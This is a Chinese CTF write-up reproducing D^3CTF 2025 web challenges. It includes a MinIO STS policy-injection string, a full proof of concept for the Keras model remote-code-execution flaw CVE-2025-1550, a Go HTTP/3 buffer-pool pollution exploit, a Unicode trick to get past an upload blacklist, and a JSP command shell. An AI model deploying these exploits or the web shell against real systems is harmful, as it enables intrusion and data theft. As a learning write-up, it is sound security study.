D^3 CTF2025 Web复现 D3CTF-2025-Official-Writeup/D3CTF-2025-Official-Writeup-CN.pdf at main · D-3CTF/D3CTF-2025-Official-Writeup
太几把难了,看了wp发现全都是自己没见过的,正好借着机会学习学习
d3invitation
抓包拦截上传图片过程,发现这边的session_token是一个JWT
然后去解码这个JWT,发现存在base64的内容
base64解码,再对 sessionPolicy
解码后,我们会发现这是生成 STS 临时凭证时使用的 policy
并且仔细观察可以发现这个 policy
应该是依据上传图片的文件名 object_name
动态生成的
然后我们这边可以对policy进行注入,获取到所有权限:
1 "*\"]},{"\Effect\":\"AlloW\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*\"}
这边对访问MinIO做一个介绍(也是对我自己)
在 MinIO Web 控制台中创建一个策略,定义允许的操作(如 s3:GetObject
、s3:PutObject
)和资源范围。例如,创建一个只允许访问特定桶的策略:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Action" : [ "s3:GetObject" , "s3:PutObject" ] , "Resource" : [ "arn:aws:s3:::your-bucket-name/*" ] } ] }
创建用户并绑定策略 :在 MinIO Web 控制台中创建一个用户,并将其与上述策略绑定,同时记录下用户的 Access Key
和 Secret Key
将获取到的临时凭证(包括 AccessKeyId
、SecretAccessKey
和 SessionToken
)用于后续访问 MinIO 的操作
这里如果我们将所有的s3都改成s3:*
,会获得对指定资源的完全控制权限
比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Action" : [ "s3:*" , "s3:*" ] , "Resource" : [ "arn:aws:s3:::*" ] } ] }
然后带上自己的那几个key,用mc进行访问即可
1 export MC_HOST_d3invitation="http://AccessKetId:SecretAccessKey:SesseionToken@ip"
这种方式通过环境变量直接传递访问信息,使得 mc
能够识别并连接到对应的 MinIO 服务。使用这种方法可以在不修改 mc
配置文件的情况下动态地添加和管理多个 MinIO 服务的访问设置。环境变量仅在当前终端会话中有效,会话结束时失效
d3model CVE-2025-1550 内部:通过 Keras 模型远程执行代码
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npmodel_name="model.keras" x_train = np.random.rand(100 , 28 *28 ) y_train = np.random.rand(100 ) model = Sequential([Dense(1 , activation='linear' , input_dim=28 *28 )]) model.compile (optimizer='adam' , loss='mse' ) model.fit(x_train, y_train, epochs=5 ) model.save(model_name) with zipfile.ZipFile(model_name,"r" ) as f: config=json.loads(f.read("config.json" ).decode()) config["config" ]["layers" ][0 ]["module" ]="keras.models" config["config" ]["layers" ][0 ]["class_name" ]="Model" config["config" ]["layers" ][0 ]["config" ]={ "name" :"mvlttt" , "layers" :[ { "name" :"mvlttt" , "class_name" :"function" , "config" :"Popen" , "module" : "subprocess" , "inbound_nodes" :[{"args" :[["echo $FLAG > /app/index.html" ]],"kwargs" :{"bufsize" :-1 }}] }], "input_layers" :[["mvlttt" , 0 , 0 ]], "output_layers" :[["mvlttt" , 0 , 0 ]] } with zipfile.ZipFile(model_name, 'r' ) as zip_read: with zipfile.ZipFile(f"tmp.{model_name} " , 'w' ) as zip_write: for item in zip_read.infolist(): if item.filename != "config.json" : zip_write.writestr(item, zip_read.read(item.filename)) os.remove(model_name) os.rename(f"tmp.{model_name} " ,model_name) with zipfile.ZipFile(model_name,"a" ) as zf: zf.writestr("config.json" ,json.dumps(config)) print ("[+] Malicious model ready" )
然后上传,虽然显示invaild,但是重新刷新页面即可
tidy quic 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 package mainimport ( "bytes" "errors" "github.com/libp2p/go-buffer-pool" "github.com/quic-go/quic-go/http3" "io" "log" "net/http" "os" ) var p pool.BufferPoolvar ErrWAF = errors.New("WAF" )func main () { go func () { err := http.ListenAndServeTLS(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() go func () { err := http3.ListenAndServeQUIC(":8080" , "./server.crt" , "./server.key" , &mux{}) log.Fatalln(err) }() select {} } type mux struct {} func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodGet { _, _ = w.Write([]byte ("Hello D^3CTF 2025,I'm tidy quic in web." )) return } if r.Method != http.MethodPost { w.WriteHeader(400 ) return } var buf []byte length := int (r.ContentLength) if length == -1 { var err error buf, err = io.ReadAll(textInterrupterWrap(r.Body)) if err != nil { if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) } return } } else { buf = p.Get(length) defer p.Put(buf) rd := textInterrupterWrap(r.Body) i := 0 for { n, err := rd.Read(buf[i:]) if err != nil { if errors.Is(err, io.EOF) { break } else if errors.Is(err, ErrWAF) { w.WriteHeader(400 ) _, _ = w.Write([]byte ("WAF" )) return } else { w.WriteHeader(500 ) _, _ = w.Write([]byte ("error" )) return } } i += n } } if !bytes.HasPrefix(buf, []byte ("I want" )) { _, _ = w.Write([]byte ("Sorry I'm not clear what you want." )) return } item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte ("I want" ))) if bytes.Equal(item, []byte ("flag" )) { _, _ = w.Write([]byte (os.Getenv("FLAG" ))) } else { _, _ = w.Write(item) } } type wrap struct { io.ReadCloser ban []byte idx int } func (w *wrap) Read(p []byte ) (int , error ) { n, err := w.ReadCloser.Read(p) if err != nil && !errors.Is(err, io.EOF) { return n, err } for i := 0 ; i < n; i++ { if p[i] == w.ban[w.idx] { w.idx++ if w.idx == len (w.ban) { return n, ErrWAF } } else { w.idx = 0 } } return n, err } func textInterrupterWrap (rc io.ReadCloser) io.ReadCloser { return &wrap{ rc, []byte ("flag" ), 0 , } }
污染缓冲区池 :
发送多个POST请求,内容为AAAAAAflag
(10字节)
设置Content-Length: 10
WAF检测到”flag”会拒绝请求(返回400)
缓冲区AAAAAAflag
被放回全局池中
触发flag获取 :
发送POST请求,内容为I want
(6字节)
设置Content-Length: 10
(关键!)
服务端复用包含flag
的缓冲区
最终请求体被解析为I wantflag
服务端返回环境变量中的FLAG
在此之前你需要
1 2 go get github.com/quic-go /quic-go go get github.com/quic-go /quic-go /http3
POC:(来自星盟安全团队)(发现直接给DeepSeek也是能给出完整的POC的)
但是版本不一样的话原版POC那边会爆 Transport: &http3.RoundTripper 中的 RoundTripper 已经被弃用,改成 Transport: &http3.Transport 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package mainimport ( "bytes" "crypto/tls" "fmt" "io" "log" "net/http" "sync" "time" quic "github.com/quic-go/quic-go" "github.com/quic-go/quic-go/http3" ) const ( targetURL = "https://35.241.98.126:30859" polluteData = "111111flag" realPayload = "I want" ) func main () { client := &http.Client{ Transport: &http3.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true , NextProtos: []string {"h3" }, }, QUICConfig: &quic.Config{ MaxIncomingStreams: 1000 , }, }, Timeout: 15 * time.Second, } defer client.CloseIdleConnections() var wg sync.WaitGroup fmt.Println("[*] 启动HTTP/3缓冲池污染攻击..." ) start := time.Now() for i := 0 ; i < 200 ; i++ { wg.Add(1 ) go func () { defer wg.Done() req, _ := http.NewRequest("POST" , targetURL, bytes.NewBufferString(polluteData)) client.Do(req) }() } wg.Wait() fmt.Printf("[*] 污染完成 (耗时: %v)\n[*] 触发组合攻击...\n" , time.Since(start)) time.Sleep(800 * time.Millisecond) body := io.NopCloser(bytes.NewReader([]byte (realPayload))) req, _ := http.NewRequest("POST" , targetURL, body) req.ContentLength = 10 resp, err := client.Do(req) if err != nil { log.Fatalf("请求失败: %v" , err) } defer resp.Body.Close() response, _ := io.ReadAll(resp.Body) if bytes.Contains(response, []byte ("FLAG" )) { fmt.Printf("[+] 攻击成功! 状态码: %d\nFLAG: %s\n" , resp.StatusCode, extractFlag(response)) } else { fmt.Printf("[-] 攻击失败 状态码: %d\n响应: %s\n" , resp.StatusCode, truncate(string (response))) } } func extractFlag (data []byte ) string { flagStart := bytes.Index(data, []byte ("FLAG{" )) if flagStart == -1 { return "" } return string (data[flagStart : bytes.IndexByte(data[flagStart:], '}' )+1 ]) } func truncate (s string ) string { if len (s) > 100 { return s[:100 ] + "..." } return s }
然后运行即可
d3ctf{YoU_s@lD-RIGht-6uT_y0U_shouId-pl@Y-g3n5H1N-iMpaCt1}
d3jtar D3CTF2025-d3jtar/d3jtar-WP-CH.md at main · 5i1encee/D3CTF2025-d3jtar
原理:
jtar/src/main/java/org/kamranzafar/jtar/TarOutputStream.java at master · kamranzafar/jtar
定位到putNextEntry
然后发现writeEntryHeader,跟进
下面有一个getNameBytes,继续跟进
发现这边强制将char转换为byte并存放
java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符
所以只需要找到超出byte大小限制的一个unicode码就行了
一编 看不懂说是,复现不是很出来,等等后面看看其他人的wp
源码:(页面源码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package d3.example.controller;import d3.example.utils.BackUp;import d3.example.utils.Upload;import d3.example.utils.Upload.UploadException;import java.io.File;import java.io.IOException;import java.nio.file.Paths;import java.util.Arrays;import java.util.HashSet;import java.util.Objects;import java.util.Set;import javax.servlet.http.HttpServletRequest;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.multipart.MultipartFile;import org.springframework.web.servlet.ModelAndView;@Controller public class MainController { @GetMapping({"/view"}) public ModelAndView view (@RequestParam String page, HttpServletRequest request) { if (page.matches("^[a-zA-Z0-9-]+$" )) { String viewPath = "/WEB-INF/views/" + page + ".jsp" ; String realPath = request.getServletContext().getRealPath(viewPath); File jspFile = new File (realPath); if (realPath != null && jspFile.exists()) { return new ModelAndView (page); } } ModelAndView mav = new ModelAndView ("Error" ); mav.addObject("message" , "The file don't exist." ); return mav; } @PostMapping({"/Upload"}) @ResponseBody public String UploadController (@RequestParam MultipartFile file) { try { String uploadDir = "webapps/ROOT/WEB-INF/views" ; Set<String> blackList = new HashSet (Arrays.asList("jsp" , "jspx" , "jspf" , "jspa" , "jsw" , "jsv" , "jtml" , "jhtml" , "sh" , "xml" , "war" , "jar" )); String filePath = Upload.secureUpload(file, uploadDir, blackList); return "Upload Success: " + filePath; } catch (UploadException var5) { return "The file is forbidden: " + var5; } } @PostMapping({"/BackUp"}) @ResponseBody public String BackUpController (@RequestParam String op) { if (Objects.equals(op, "tar" )) { try { BackUp.tarDirectory(Paths.get("backup.tar" ), Paths.get("webapps/ROOT/WEB-INF/views" )); return "Success !" ; } catch (IOException var3) { return "Failure : tar Error" ; } } else if (Objects.equals(op, "untar" )) { try { BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views" ), Paths.get("backup.tar" )); return "Success !" ; } catch (IOException var4) { return "Failure : untar Error" ; } } else { return "Failure : option Error" ; } } }
unicode的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import unicodedatadef reverse_search (byte_value ): low_byte = byte_value & 0xFF candidates = [] for high in range (0x00 , 0xFF + 1 ): code_point = (high << 8 ) | low_byte try : char = chr (code_point) name = unicodedata.name(char) candidates.append((f"U+{code_point:04X} " , char, name)) except ValueError: continue return candidates ascii_character = "j" byte_val = ord (ascii_character) print (f"Possible original characters ({byte_val} -> 0x{byte_val & 0xFF :02X} ) :" )results = reverse_search(byte_val) for cp, char, name in results: print (f"{cp} : {char} - {name} " .encode('gbk' , errors='ignore' ).decode('gbk' ))
然后是jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <%@ page import ="java.io.*" %> <% String cmd = "printenv" ; String output = "" ; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader (new InputStreamReader (p.getInputStream())); String line; while ((line = reader.readLine()) != null ) { output += line + "<br>" ; } } catch (Exception e) { output = "Error executing command: " + e.getMessage(); } %> <html> <head><title>Command Output</title></head> <body> <h2>Executed Command: <code><%= cmd %></code></h2> <pre><%= output %></pre> </body> </html>
二编 D3CTF 2025-WP | GSBP’s Blog
看了看这位师傅的文章,发现原来是直接view?page访问,我昨天在复现的时候加了一大堆前缀,有点尴尬
就按一编那边给的jsp然后改成后缀 剪sp 再上传
然后依次点击Backup和Restore
最后
1 http://35.241.98.126:32672/view?page=2235e2be-ffc9-49e0-b578-1e512299e15b&cmd=env
d3ctf{WhaT-?!_H0w-CouLD_yoU_do_Th4t_,_jtaR_?d20b7}